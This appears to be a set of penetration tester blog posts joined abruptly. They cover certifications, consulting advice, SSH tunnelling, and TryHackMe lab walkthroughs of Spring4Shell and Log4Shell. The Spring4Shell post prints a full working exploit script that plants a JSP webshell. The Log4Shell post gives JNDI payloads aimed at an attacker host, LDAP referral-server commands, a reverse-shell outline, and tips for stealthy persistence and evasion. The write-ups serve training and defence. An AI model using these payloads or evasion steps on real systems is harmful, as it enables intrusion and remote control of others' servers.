Yes, I'm saying OSCP is pointless for a professional having a 4-5 years' background. After being in the industry long enough. one's recognized as a professional, regardless if they own some specific certs or not. I mean, I don't want to sound cocky but, unless peculiar situations/settings are in place and sensitive devices are involved, I could run a perimeter pentest in my sleep by now. Other than that, being a good consultant and being able to create rapport with a client is way more important than being technically amazing, because that's what ultimately makes a difference with the final outcome of a project.

Sure, I wish I had OSCP some years ago but I didn't need it to find a job as a pentester.

Do I really need it now, with a 5 years' background? I don't think so.

At this point in my career I find it pointless to pursue certs requiring to go through a password guessing prerequisite to breach the perimeter, or to solve other CTF-y scenarios that a professional's never gonna meet in real-world engagements

Over thousands of engagements in my career, so far I NEVER EVER found passwords like SeasonYear in use on the external perimeter.

This doesn't mean it's impossible, of course, but it's highly unlikely IMHO.

I mean, either I'm extremely unlucky, or my clients are awesome in following best security practices, or this is not so common IRL.

By now, even due to PCI compliance, most organizations enforce a higher password complexity than they did some years ago. This doesn't mean one can't find some HTB-like situations real-world, but I can really count them on one hand.

Weak passwords are way more common in internal engagements, but of course a red teamer would need to breach the perimeter first, or operate under an assume breach scenario.

Work experience matters more than any certs. But there's a tricky side to it.

The Value of Your Experience Changes Over Time

Cybersecurity is subject to non-stop change. New tools are released, existing tools and protocols are relentlessly updated, and a professional needs to keep up with it.

There's no room for complacence, because it means being left behind.

A security professional is a constant learner, and skills that are valuable today could become worthless tomorrow.

That's when training and certifications come into play, not to get a foot in the door this time, but to make sure to be still relevant in the industry.

A professional needs to consistently add new skills and become more valuable.

I always learn new tools and my company puts me through periodical training, which is awesome. I'm very thankful to Optiv for this, and I don't hesitate taking on engagements driving me out of my comfort zone, such as physical security, cloud security or spear phishing.

I can be an asset to my team and become more marketable in the long run, which won't hurt.

Certifications and Career Path

The specific certs worth achieving vary based on your career path.

For example:

Junior Pentester: eJPT, PJPT, OSCP, PNPT
Intermediate/Senior Pentester: eCPPT, Web app related certifications (eWPT/eWPTX, Burp Practitioner, OSWE), cloud related certs (AWS Practitioner, etc.), Red Teaming certs (CRTO, CRTP, CRTE), etc.

Wrap Up

Certifications vs experience is a little bit like a chicken and egg dilemma, that can be solved looking at a professional's skill level and experience.

For someone with little to no experience, certifications prove motivation, dedication and a correct mindset, aiming at constant improvement.

For someone with an intermediate to senior level, certifications are important only if they add new skills or update the existing knowledge, otherwise working experience is way more valuable.

The problem, though, is working experience can get quickly outdated if one becomes complacent, so a professional needs to be a constant learner.

Sadly, this is not for everybody, because continuous education is the most challenging part of a penetration testing career.

It becomes easier only when a professional is really motivated, when this is more than a job.

Only in this case the learning experience gets fun and enjoyable, instead of being a weigh.

Now the ball is in your court.

Well, here we go:

Always be professional: Most people think penetration testing is all about technical skills, but nothing could be farther from truth. Especially if you work for a consulting firm, projecting a professional image at all times is paramount. The client expects for you to be a subject matter expert and to be able to explain in layman's terms what problems you found, what their impact is and especially how to remediate them. Even when you're not 100% sure about something, you can't let the client know. They pay for a subject matter expert and expect no less than that. If you don't have the answer to a question, act confident and inform the client you'll get back to it later, don't freak out and stay calm. You'll figure out the answer, either googling or with the help of your team, but don't let your insecurity be too apparent. This means you need to be professional at all times. As far as the client is concerned, you are your company, so you want to look at your best. Even when clients are mean and rude, you can never get down to their level, you're expected to keep your cool and continue delivering. This can be sometimes very hard. I've experienced specific situations where I really struggled to keep my cool, as I had to deal with very rude and combative clients, yet I did because I knew I'd be the only one looking bad otherwise. At the end of the day, penetration testing is all about business mindset and professional communication. Yes, you heard it right, sorry to break this down to you. Even the most amazing tester on a technical standpoint becomes worthless if they can't explain their findings to the clients in terms the clients would understand, and if they don't know how to communicate with clients in a professional and personable way. So make sure you got your your, you're and so on right. And forget about CTFs and frat house attitudes. Corporate security is much more a tie-and-suit affair than one might think. The most challenging part of being a consultant is to avoid an adversarial attitude and convince the client you're on their team, you're on on their side and you're not the enemy. I believe each one of us can do better under this point of view.
Be a team player: Security companies are often organized in teams and sometimes, for more complex tests, you may find yourself having to collaborate with other consultants, involved with different portions of the engagement. Be fair to your team members, offer them help and don't take things personally. Even when some team members mess up, don't quickly throw them under the bus, communicate with them, as maybe they're having issues with something you don't know. On the other hand, don't be a rug and demand respect. As for project managers, tell them what your priorities are and what you need from them and from the client. They might not be as technically sound as you are, so advise them when a deeper technical perspective is demanded. If you have issues slowing down your work or hurdling your testing, let PMs know as soon as possible.
Don't be afraid to get out of your comfort zone: Since I started out with Optiv, I clearly stated I was interested in any training they could give me. As a result, I conducted spear phishing and vishing engagements, and will have further chances to branch out with other types of engagements in the future. If you're afraid of taking chances, you'll never grow as a hacker and as a consultant. Plus, you're not gonna get what you want if you're not willing to take on stuff other people don't want to do.
Deliver, deliver, deliver. Be an asset, not an issue: I don't talk a lot about what I do, I let facts do that for me. If people in your company just have to talk about you, make sure it'll be about what a good job you do and not because you messed up and created problems with clients. You'd rather not stand out instead of standing out for the wrong reasons.
Self promotion without showing off, give credit and take credit (you don't wanna be invisible): This point might seem to contradict the previous one, but it's strictly connected to it. Even if you do outstanding work, this is pretty much useless if no one (and especially your boss) knows about that. Especially when you work remotely (as I do), keeping in touch with your team can be hard, but you need to make sure you let them know when you do good work. The challenge you might face is to keep a balance between self promotion and being a show off. One "trick" is to let purposefully, but seemingly randomly, slide a hint to something I've done right every now and then in a conversation, without public announcements to the whole team. I mean, nothing wrong if you get a shoutout, but it must come from someone other than yourself. Every time I chat with my boss and I got updates on my projects, I take advantage of the conversation to keep him posted on what I'm doing. I'm quite sure he keeps tabs on what I do, but reinforcing and reminding remains a good marketing technique. Within a remote workforce situation like today's, the last thing you want is to be invisible. However, carefully avoid being a showoff, too. Give credit to coworkers when they help you with a problem or do a good job along with you on a project. Don't take other people's credit and set the record straight when someone wrongly assigns exclusively to you the whole merit for a good outcome. Celebrate team members' successes and don't be envious. The better they do the better you do. If you didn't quite learn this lesson, you're gonna have to learn it the hard way pretty soon.

Wrap Up

Being a consultant is not for everyone and surely not for the faint of heart.

The good outcome of a project depends on a series of factors but ultimately on the consultant's relationship with the client.

If a consultant can be professional but at the same time personable and can deliver on promises, he/she will be on the customer's good side and will earn respect.
When you promise to get back to the client about something at a certain deadline, make sure you do so. If you encountered unexpected problems delaying you, inform the client about that in advance and tell them you're going to update them asap when such problems are solved. Don't let clients feel abandoned to their own devices, while wondering where you ended up to. The last thing a consultant should want is to upset clients.

Issues and inconveniences happen, but I personally always own them and do my best to smooth them up before they become a bigger deal than they should.

Own them, tell the client you're gonna look into that and will get back to them as soon as it's solved, and don't forget to provide an ETA for it.

Sometimes a quick Zoom or Teams call solves issues much faster and avoids dangerous miscommunications and misunderstandings.

Though a successful career as a consultant depends on multiple factors, I do believe the above concepts are paramount for a faster and smoother professional growth.

I hope they can help.

All you got is a terminal, so you wouldn't normally be able to do so, but SSH allows to create a tunnel that makes all this possible.

There are three types of SSH tunnels, but here I'm going to only analyze local port forwarding that allows to redirect traffic from a specified local port to a different port.

I'll be talking about the other two types of tunnels in upcoming posts.

In our example, we're gonna be using a Metasploitable 2 instance, running locally with 192.168.1.253 IP address.

We're connected to this intentionally vulnerable machine through SSH (credentials msfadmin:msfadmin). Let's imagine we need to access the browser running on Metasploitable 2 from our local machine.

We can solve the problem creating a local SSH tunnel that binds remote port 80 to local port 1880 (ports 0-1024 require root privileges for a user to bind to them, so we can't use local port 80).

This problem is solved with the following command:
ssh -Nf -L 1880:127.0.0.1:80 msfadmin@192.168.1.253

-N: no command

-f: force background the terminal

-L: local port

-Nf is used to prevent for an attacker from using your shell as a pivot point.

Once the tunnel is successfully established, we can access the remote browser running on remote port 80 from our local port 1880.

I normally use SSH tunneling for testing purposes, but it can very well be used for hacking.

For example, when the remote machine has no Internet connection or is locked down, you can connect through SSH to a SOCKS proxy and run all the needed attacks and tools from your local machine, without having to upload them to the target machine, running them in memory.

I'm gonna go back on this point, too, but you can easily grasp, even without adding more details, how powerful this attack method is.

Some people would rather use tools like sshuttle to do this but I'm personally big on native solutions because they work better, have fewer compatibility issues and don't leave such an unpleasant audit trail. Often times you might not need or even want to install tools on a remote machine.

For a red teaming engagement, you definitely want to avoid that, cause it'll blow up your cover, but you might even lack privileges.

What if you're in as an ordinary user that can't run sudo due to lack of privileges?

Would you give up? No way.

A real hacker finds a way around, giving up is not an option.

SSH is maybe the most powerful protocol ever created, and a hacker worthy of this name should know how to use and abuse it in its native form, without any need for embellishments or unnecessary stuff.

Optiv as an Attack & Pen Consultant since July, 2022, landing a senior role.

It not only came with a much needed financial compensation update, but also with a lot of challenges. I'm now responsible for a whole project, from start to finish. I now have to deal with a lot of client-facing tasks I didn't have to worry about before, from taking care of kick off calls to daily start/stop notifications or communications about critical findings. I'm also in charge for solving miscommunications, misconfigurations or hold ups with testing.

I'm much happier but I work way longer hours than before.

Nonetheless I feel less stressed out. Having clear rules and procedures set up helps me in the end, though I don't like rules.

Of course, there's pros and cons coming along with it. I won't deny sometimes I find this bureaucracy quite meaningless, but I also understand there's a reason for it.

I hope I can keep moving up, so far I'm slowly progressing but I need to step up my game.

We'll see what 2023 will bring.

The Savvy Geek here.

Over and out.

TryHackme, and I met my match when it came down to finding a reverse shell vector.

But I never give up, so here's what I came up with.

Enjoy!

Background

Spring4Shell was initially discovered as a bypass to CVE-2010-1622-related patches.

Spring MVC (Model-View-Controller) is part of the Spring Framework, and it automatically instantiates and populates an object of a specified class when a request is made based on the parameters sent to the endpoint. This feature could be abused to overwrite important attributes of the parent class, resulting in remote code execution. The majority of the exploits for the Spring4Shell vulnerability operate by forcing the application to write a malicious .jsp file (effectively plaintext Java which Tomcat can execute — the same way a PHP webserver would execute files with a .php extension) to the webserver. This webshell can then be run to gain remote command execution over the target.

Current conditions for vulnerability are as follows:

JDK 9+
A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)
Apache Tomcat as a server for the Spring application, packaged as a WAR
A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework

DEMO

TryHackMe released a demo of this specific vulnerability.

TryHackMe also provides a Python exploit to gain RCE on the target.

The machine has TCP ports 22, 80, 443 and 8080 open.

Once we get an IP address, we can check out the webserver, which hosts a demo page.

The exploit we were supplied with requires for a url parameter to be provided, as we can gather by its code below.

#!/usr/bin/env python3
# Spring4Shell Exploit
# Original Exploit: https://github.com/BobTheShoplifter/Spring4Shell-POC/
# Modified by: AG | MuirlandOracle

import requests
import argparse
from urllib.parse import urljoin

def exploit(url, filename, password, directory):
    headers = {"suffix":"%><!--//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

    data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/{directory}&class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    try:
        requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, f"{filename}.jsp")
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Shell Uploaded Successfully!\nYour shell can be found at: {shellurl}?pwd={password}&cmd=whoami")
        else:
            print("Exploit failed to upload")
    except Exception as e:
        print(e)
        pass
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Spring4Shell RCE Proof of Concept')
    parser.add_argument('url', help='Target URL')
    parser.add_argument("-f","--filename", help="Name of the file to upload (Default tomcatwar.jsp)", default="tomcatwar.jsp")
    parser.add_argument("-p","--password", help="Password to protect the shell with (Default: thm)", default="thm")
    parser.add_argument("-d","--directory", help="The upload path for the file (Default: ROOT)", default="ROOT")
    args = parser.parse_args()
    exploit(args.url, args.filename.split(".")[0], args.password, args.directory)

If we check the source code of the webpage, we need to be looking for the "action" of the contact form (the only POST request available to us). This is found on line 20:

<form id="contactForm" action="/" method="post">

The action is "/", meaning that our target URL will simply be: http://MACHINE_IP/

EXPLOITATION

The exploit provides us with remote code execution.


Exploit granted RCE on the remote host

Browsing to the indicated URL, we can get remote code execution, and we discover we're root.

The whoami command confirms we got RCE as the root user

At this point, we could easily read the root flag, if we were after it, but I'd rather focus on getting a reverse shell back to the attacking machine. I really struggled with this for a while, and nothing seemed to work, until I thought of uploading an elf shell, which is a Linux executable (Executable and Linkable Format).

The malicious payload can be easily created through an msfvenom command such as this one:

At that point, all I had to do was to upload the file with wget, make it executable with chmod 777 shell.elf and run it (./shell.elf).

Reverse shell successfully uploaded

Reverse shell was successfully obtained on the remote host

Wrap-up

Once again, staying current is very important for pentesters and red teamers.
The least you keep abreast of new vulnerabilities the more missed opportunities for your company and your clients, which would be a real shame.

If a new exploit is out there, you preferably want to be the first to know and test it, before bad guys can actually leverage it against your customers.

It's a cat and mouse game but you gotta do what you gotta do in this industry to make sure you deliver value.

millions of applications as well as software providers use this package as a dependency in their own code. Many security researchers have compared this vulnerability to the Shellshock exploit based on the nature of its enormous attack surface.

As a penetration tester, I constantly test and study new vulnerabilities to understand their actual impact for my clients, and my focus is both on exploitation and on remediation/mitigation strategies.

An easy way to demo Log4Shell is provided by TryHackMe, that created a free room for this purpose.

The room illustrates the vulnerability, explains how to exploit it, and also describes mitigation strategies, so I think it's a good demo of what a real-world context looks like.

RECON

The first step to test the vulnerability is to Nmap the Solar machine (nmap -sS -sC -vv -p- --open <TARGET IP ADDRESS> -oA <OUTPUT FILES NAME>).

The above command runs a SYN scan (-sS), with service versioning (-sV), executes all default scripts (-sC) on all ports (-p-), returns only open ports (--open) with verbosity level 2 output (-vv) and creates three different output files, given a name we provide (-oA): greppable Nmap format (.gnmap), Nmap format (.nmap) and XML format (.xml). In other words, if we called the output file scan, we'd have scan.gnmap, scan.nmap and scan.xml as output files.

Nmap output shows three open TCP ports: port 22 (SSH), port 111(rpc) and port 8983 (Apache Solr).

The version of OpenSSH in use is associated with Bionic (Ubuntu 18.04).

DISCOVERY

Browsing to the Apache server, we find clear indications log4j library is in use, as we can see a whole series of configuration parameters referring to it.

In the walkthrough for the room it is clearly indicated that

the target machine is running Apache Solr 8.11.0, one example of software that is known to include this vulnerable log4j package. For the sake of showcasing this vulnerability, the application runs on Java 1.8.0_181.

That's why I used a newly created Ubuntu VM as an attacking machine, as Ubuntu comes with no preinstalled version of Java, unlike Kali (coming with Java 11). Detailed directions on how to install the required Java version are available on the webpage.

TryHackMe also provides with some example log files, one of which has a significant number of INFO entries showing repeated requests to one specific URL endpoint.

Analyzing the solr.log file (see embedded video), we can see all such requests point to a specific path (URL endpoint): /admin/cores, and we can also control some data entrypoint (params).

Other than parsing log files, the log4j package can evaluate code based off the entry data or also execute other commands as entered into log files.

PoC

An example of syntax we can use to get a working proof of concept is this one: {jndi:ldap://ATTACKERCONTROLLEDHOST}

In this case, log4j will invoke functionality from "JNDI", or the "Java Naming and Directory Interface." This can be used to access external resources, or "references," and we can weaponize this functionality to obtain a proof of concept.

In general terms, it's not always quite obvious what entry points can be used to perform this specific attack.

However, in our case we know we have a params parameter we can supply as an input.

For example, we can provide HTTP GET variables or parameters which will then processed and parsed by log4j, or inject the above string in input boxes, user and password login forms, data entry points, any customizable HTTP header or any other entry for user-supplied data.

For the purposes of this PoC, we need to start a listener on any port of our choice. The walkthrough uses port 9999 TCP, but you can use any port >1024 for this. I'd suggest firewall enumeration of REJECT rules to understand what ports are blocked by the firewall and which ones are allowed. Remember, in Linux systems you need to be or become root in order to use ports 1-1024.

With an active listener, we can use a curl command to get a connection back to our attacking machine, as follows:

curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999\}'

The target is in fact vulnerable, as it sends a connection back to our netcat listener. However, it made an LDAP request. As we don't yet have a server running capable of responding to that request, the netcat listener can only return non-printable characters (gibberish).

EXPLOITATION

For the exploitation stage, we can follow two different methods:

Attack Box: deploys a TryHackMe machine in your browser.
VPN: You connect your attacking VM to THM through openvpn.

I used openvpn because the free version of Attack Box doesn't provide any Internet access, needed to complete one of the next steps. If you want to use Attack Box for this, you need to subscribe to the premium version.

Building upon the previous step, we can use a open-source utility to stage an "LDAP Referral Server", which redirects the initial request of the victim to another location (Python HTTP server), where we can host a secondary payload that will run code on the target.

For this purpose, we can install marshalsec (https://github.com/mbechler/marshalsec).

For the exploit to succeed, you need to run Java 8.

Also, maven needs to be installed.

Afterward, we can compile marshalsec through the mvn clean package -DskipTests command.

This step won't succeed in the free version of Attack Box, because it requires Internet access.

The marshalsec server can then be launched with a command such as this:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"

We now have an LDAP referral server running and waiting for a connection on port 1389.


Let's now create a java exploit (Exploit.java) as shown below, which uses netcat to send a reverse Bash shell back to our machine. This is a simple PoC but it can be improved by using native tools such as /dev/tcp for the same purpose, as netcat is often not installed by default on real-world machines and, even when it is, some of its versions don't support the -e option.


We compile the exploit with javac Exploit.java command, that generates an executable exploit (Exploit.class).

At this point, we can start an HTTP server to host the exploit on port 8000 (python3 -m http.server).

Now we have all ready, let's start a netcat listener and trigger the exploit with the following curl command:

curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'


This sends a connection back to our machine on port 9999 TCP.

We can get an interactive shell with a python one-liner and start analyzing the target machine.


We could gain access as a non-root user (solr) and so we have the same privileges as such user does.

PERSISTENCE (PRIV ESC)

In order to achieve persistence on the machine, we need to perform a privilege escalation, which can be done through a series of manual steps or through enumeration scripts. I tend to favor manual solutions myself.

In general terms, for Linux privilege escalation, this post is a very good and well-established source most people refer to.

In our case, priv esc results to be quite trivial, almost disappointing.

In fact, based on the output from sudo -l command, the solr user can run any commands as root without needing to provide any password. At this point, we can run bash as root to spawn a root shell.

In order to achieve persistence, the TryHackMe guide suggests to change the password for solr user by running the passwd command as root, as the target host runs SSH on port 22.

This will allow to SSH to the victim machine as an authorized user and gain a more stable shell.

I don't personally believe this is the best way to achieve persistence, and it's not what I'd personally do in a real-world engagement. In fact, such change would leave a suspicious audit trail and could also lock out a valid user, raising a red flag that could get you immediately caught by the target's SOC/sysadmin.

I believe a much better solution would be to add your own SSH key to the /root/.ssh/authorized_keys file and then SSH to the target with your user account. This will create much less noise and should work just fine, unless the /root/.ssh/authorized_keys file is locked down and patched. Another solution could be an SSH reverse shell (ssh -R -N 2200:localhost:22 user@target) but maybe a rootkit would be needed to hide the associated process (thanks to my friend Aqeeb for this last tip).

Anyway, we can now SSH to the machine and become root, as explained earlier.

DETECTION

Finding applications vulnerable to CVE-2021-44228 "Log4Shell" is hard and detecting exploitation might be even harder, as a virtually unlimited amount of potential bypasses is available.

In our case, after hacking into the machine, we can analyze the log file vulnerable to the exploit (/var/solr/logs/solr.log).

As we didn't use any obfuscation, we can easily spot the JNDI attack syntax we used. Of course, in real-world scenarios, this wouldn't be that easy.

BYPASSES

The above attack uses a typical syntax that can be easily detected by WAFs and by well trained blue teamers, so it might be worth adding more sophistication to it in order to hide, mask, or obfuscate the payload. The guide suggests a list of bypasses to try out. I tried a couple of them but, though the curl command was successful, I didn't receive a reverse shell.

I'll leave this as an exercise to my readers and refer you guys to this good post for more details.

MITIGATION

The best defense against the log4shell exploit is to apply all available patches to the vulnerable log4j library.

However, researchers proved patches don't completely fix the problem, plus they can't be applied when the library can't be updated.

For these situations, Microsoft recommended specific mitigation strategies. The THM room illustrates how to apply one of them, setting the log4j2.formatMsgNoLookups parameter to ‘true’, in order to disable the vulnerable feature.

For this purpose, we want to access the machine and edit the /etc/default/solr.in.sh file by adding the following line of code, that will disable the vulnerable functionality: SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true".

We then need to restart the Apache Solr service (sudo /etc/init.d/solr restart).

After doing so, if we repeat all the attack steps, this time we're unable to receive a reverse shell, as the attack gets blocked.

PATCHING

The log4j vulnerability hasn't been fully patched at the moment, and the situation is constantly evolving.

The best course of action in such uncertain scenarios is to review the business reasons justifying using such vulnerable logging feature. If this is justified business wise, appropriate mitigation strategies, such as restricting access to specific IPs, based on ACLs, firewall rules or a VPN connection, should be adopted.

If the vulnerable feature can be safely disabled without causing any business disruption, the method described in the THM guide is a good solution.

WRAP-UP

I believe the TryHackMe room offers a very well designed and pretty realistic simulation where to safely practice the log4j vulnerability, at the same time providing a good overview of what real-world penetration testing is about.

In fact, a penetration test is but a tool to support the business, and its result must be expressed in business terms.

As a pentester, I don't simply exploit a vulnerability, but also report on what was done wrong, how to remediate or mitigate the factors that caused the vulnerability and what was done right.

If a client follows security best practices and/or implements the right mitigation strategies, all this must find its way in the report.

The only missing part here from a real-world process would be report writing but, as it implies client privacy issues, that makes perfect sense.

I personally cheer to this initiative and hope more training providers will follow suit.

Some employers are open to invest on a beginner, if they think he/she can bring something unique to the table.

Also, being active in training platforms is sometimes considered as a plus that helps a candidate stand out, and might be a factor in hiring decisions.

This is awesome, and I firmly believe we need to give junior pentesters a fair chance.

I wouldn't be here talking about this topic if someone hadn't taken a chance on me.

Such a big CTF-oriented mindset, though, can cause some problems in the long run when working with real-world targets.

When moving to a real pentesting career, you need to unlearn CTFs and become much more of a ninja.

After a while, you realize real-world targets are way more hardened and 99% of the scenarios you're used to are unrealistic. In other words, training platforms should resemble as closely as possible, but not replicate, real targets, the same way a practice exam doesn't necessarily contain the same questions you'll find in the real exam. They should prepare testers but not necessarily be considered as realistic scenarios. Other than CTFs, other paths like software development, programming or system administration can be a real plus when migrating to pentesting. The time spent writing code on Python will pay off when you don’t have anything but Python. If you ever built a network, the knowledge of protocols coming from it might be the key to entering the network. If you ever held a sysadmin job, it might just be the knowledge you need to understand priv esc better. The more diverse your background and the technologies you deal with over your career, the better pentester you'll become. Even a project that might seem at first unrelated to security might come in handy at a later time.

ISSUES

Too much focus on tools
Jumping to conclusions overlooking recon
Using loud and potentially disruptive techniques
Overlooking the importance of documenting your work as you go

Too much focus on tools:

When you solve machines on platforms like HTB, you're mostly focused on the best tools to get the job done (Recon? Nmap. Exploitation? Metasploit, etc.).

This causes new pentesters to be too focused on specific tools, so much that they get lost if they can't use them in the specific testing context. What if you don't have Nmap installed in a pentesting jumpbox, and don't have the needed permissions to install it? How would you go about it? You need to get the job done and deliver regardless. That's when you need to learn how to live off the land, i.e. use the tools available on the testing machine. For *nix systems, you can use Python (if available) for port scanning. If Python isn't available either, you can use /dev/tcp, which is a native functionality, for the same purpose. Another solution can be using a SOCKS proxy. However, a SOCKS proxy can’t help you when you’re doing ICMP based attacks.

For Windows, you can use both Python (if available) or PowerShell (native).

Pentesters, and especially red teamers, need to learn how to perform their jobs without relying on specific tools. For example, you don't necessarily need Burp to grab a webserver header. You can use the developer tools in your browser, netcat, telnet and curl for this purpose.

Knowing common tools is a good thing but a hacker doesn't DEPEND on them. In real-world penetration tests, time is a factor and you're more often prone/forced to use off the shelf tools to complete the project within the allotted number of hours you got assigned. However, you also have to try alternative solutions when they don't work, or can't be used.

In red teaming engagements, you need to be as stealthier as possible, so installing new tools is not an option, cause you don't want to generate a revealing audit trail. Also, you want to generate as less noise as possible, so Nmap, for example, might not be the best tool for the job, because IPSs and SIEMs can recognize the traffic they generate.

Jumping to conclusions overlooking recon

In a pentest, even for repeat customers, recon is hands-down the most important stage.

If done correctly, it shows the tester what is running across the network and what vulnerabilities could be leveraged to get access.

If done poorly, it will lead to missed opportunities and no added value to the client.

A famous quote excerpted from ancient book Art of War, by Chinese general Sun-Tzu, goes:

"If you know the enemy and know yourself, you need not fear the results of a hundred battles".

Most organizations don't know the enemy, nor themselves. Knowing the enemy can require a remarkable effort in terms of financial and non-financial resources (security consultants, honeypots, etc.) that not all organizations can afford, but knowing yourself should be imperative. If an organization doesn't know its vulnerabilities and its internal problems that could lead to a breach, it's already lost the battle, because no one will see the enemy coming.

Regardless of the operating system, for each in-scope hosts, a pentester should recon and enumerate all services and ports as more thoroughly as possible. Once you determined which services are running on the open ports discovered through the recon activity (Nmap), you're gonna need to run Nmap scripts to dig deeper and highlight potential exploit avenues, analyze the webpage source code, enumerate web directories through Burp, gobuster or dirsearch, run nikto and Nessus for vulnerability scans, and in general dig as deeper as possible.

Only after the enumeration is completed, it is now time to move to the validation/exploitation stage.

You can't exploit what you're not sure about.

A common error new pentesters make is to think a pentest is like a CTF, because they're used to completing a series of goals in a very limited time, so they think they need to rush the whole thing.

The most typical example of a CTF-like scenario (at least IMHO) is the OSCP exam, where you need to hack 5 machines in 23.45 hours.

This is totally unrealistic. I normally test machines for 1-2 weeks or longer (depending on the scope width) before wrapping up a project.

Due to their CTF-based mindset and to their strong desire to get a shell, junior pentesters may rush the recon stage and jump straight ahead to exploitation, without thoroughly enumerating the services running on the specific host(s). Needless to say, this is a recipe for disaster.

And, yeah, I've been there myself.

Projects deadlines are designed to give testers enough time to complete all needed stages. Overlooking recon leads to missed opportunities and to wrong assumptions. You need to understand what the discovery scans output shows, before even thinking of moving to exploitation.

You can't jump to conclusions without looking at what you have before you. In other words, ENUMERATE, ENUMERATE, ENUMERATE!

PENTESTING REAL-WORLD TARGETS AND ROOTING HTB (or alike platforms, such as PG, etc.) PURPOSEFULLY VULNERABLE MACHINES ARE TWO TOTALLY DIFFERENT ANIMALS.

Techniques working right away on a HTB machine often don't work the same way, or don't work at all, with real-world targets, because most organizations are very consistent in patching potential exploits.

This doesn't mean you shouldn't be practicing on those platforms, though. Research skills are paramount to grow in an industry where you're mostly required to keep training on your own, and no hand holding is expected, as things constantly change every second. I sometimes learned techniques from them (e.g. exploiting an unauthenticated Redis server) I could use in real-world engagements.

However, even when that happened, the specific scenario I was up with wasn't 100% like HTB, cause the real-world misconfiguration wasn't as severe. I was unable to retrieve SSH private keys, for example, but I could enumerate users, obtain configuration information, etc.

Using loud and potentially disruptive techniques

YOU NEED TO BE ACCOUNTABLE FOR YOUR TRAFFIC. It is vital to understand the implications of running Nmap with a specific set of options, and the risks it could cause. In fact, the more Nmap advanced options are used, the higher the traffic the scan will generate. This can determine two orders of problems:

When certain conditions are met, it can cause remote servers or fragile software components to crash
It can create a revealing audit trail, defeating the purpose for a red teaming engagement.

In fact, beginner pentesters are so eager to get a shell that sometimes don't consider the possible implications of their activity, and might end up crashing servers, getting blocked or blacklisted by defensive tools like IPSs, fail2ban, WAFs, you name it.

They're not used to account for this, because normally no such thing is in place for a purposefully vulnerable HTB, PG, or Vulnhub machine, for example.

In real-world, instead, if you attempt an XSS or a SQLi attack and the target has a Web Application Firewall in place, your attack will be stopped and your IP might also be banned, temporarily or permanently.

Sure, you can use a VPN, but you left a log behind. For red teaming, that's not exactly what you want. You always leave a log behind regardless of what you do, but you created a much more suspicious audit trail than you'd do otherwise.

Some specific Nmap options create a lot of noise and generate a great deal of traffic, which, in some cases, might lead to crash a server.

This is the last thing you want. No reverts are available for real-world targets. When you crash a server, someone will have to fix it. Additionally, you might end up taking down critical infrastructure, such as a VPN or an Exchange server. The last thing you want is getting a customer mad, because its employees can't log on to their VPN, or to a domain controller, to get their jobs done.

The more options you enable in an Nmap scan, the more traffic you can generate. In fact, if you add more aggressive options to the scan, like -A (which includes traceroute), you might even create enough traffic to crash a remote server, given certain conditions.

Therefore, while with training platforms you can attempt any type of brute forcing attacks and use any type of payload, no matter how noisy it is (meterpreter, unobfuscated malware, etc.) without worrying too much about it, you can't do this in real-world engagements, unless duly authorized.

THROWING RANDOM PAYLOADS AT A TARGET HOPING TO GET A SHELL IS NOT GONNA WORK, OTHER THAN OUT OF MERE LUCK.

You need to make sure to research the right exploit (if any is available) for the specific vulnerable version working on the affected host(s), and you also need to make sure the exploit does what you want. In other terms, you need to read through the exploit code, understand what it really does and whether is what you need in your specific case, before even running it against a specific target.

Using a hands-on example, if your target runs Apache 2.4.29 and you found an exploit for Apache 2.4.28, that's not gonna work.

Then, you also need to pay attention to the type of vulnerability leveraged by the exploit.

If you want to obtain remote code execution and the exploit you're looking at refers to a denial of service vulnerability, that's not what you need.

I was like that. A long time ago, I was working on a Vulnhub machine with a friend and he made me notice that, though the exploit I had found was referring to remote code execution, some comments were mentioning a denial of service vulnerability.

I hadn't even looked at the code. I was like, okay it matches the software version, so it's a winner. WRONG!

A very good example of what might happen if you don't look through exploit code can be found here: https://isc.sans.edu/forums/diary/When+is+a+0day+not+a+0day+Fake+OpenSSh+exploit+again/8185/

Of course, for red teaming engagements, this is an egregious no-no.

Overlooking the importance of documenting your work as you go

Documentation is paramount to writing a good report, so a pentester should document each step and each findings as the testing goes.

Being systematic in taking good notes and screenshots along the way is critical, especially for internal pentests.

Things might change at a later time over testing, or (for internal engagements) it might not be possible to document things later on, cause you're no longer allowed access to the internal network after wrapping up testing.

For example, I found some FTP servers were exposed externally, which is never a good thing.

I had taken a screenshot of that at the specific moment in time when I discovered them. Later on, over the report writing stage, I tried to connect back to those server, but they had been taken down.

Without a screenshot, a report doesn't effectively show the impact of a finding. Hadn't I documented the vulnerability back in the day, while testing, I wouldn't be able to do it at a later time, when I needed that screenshot for the report.

Wrap-up

The sooner new pentesters can unlearn the CTF-like mindset developed by using HTB, THM, PG or other practice platforms, the sooner they can progress in their career.

So, the recipe is: less CTF, more ninja.

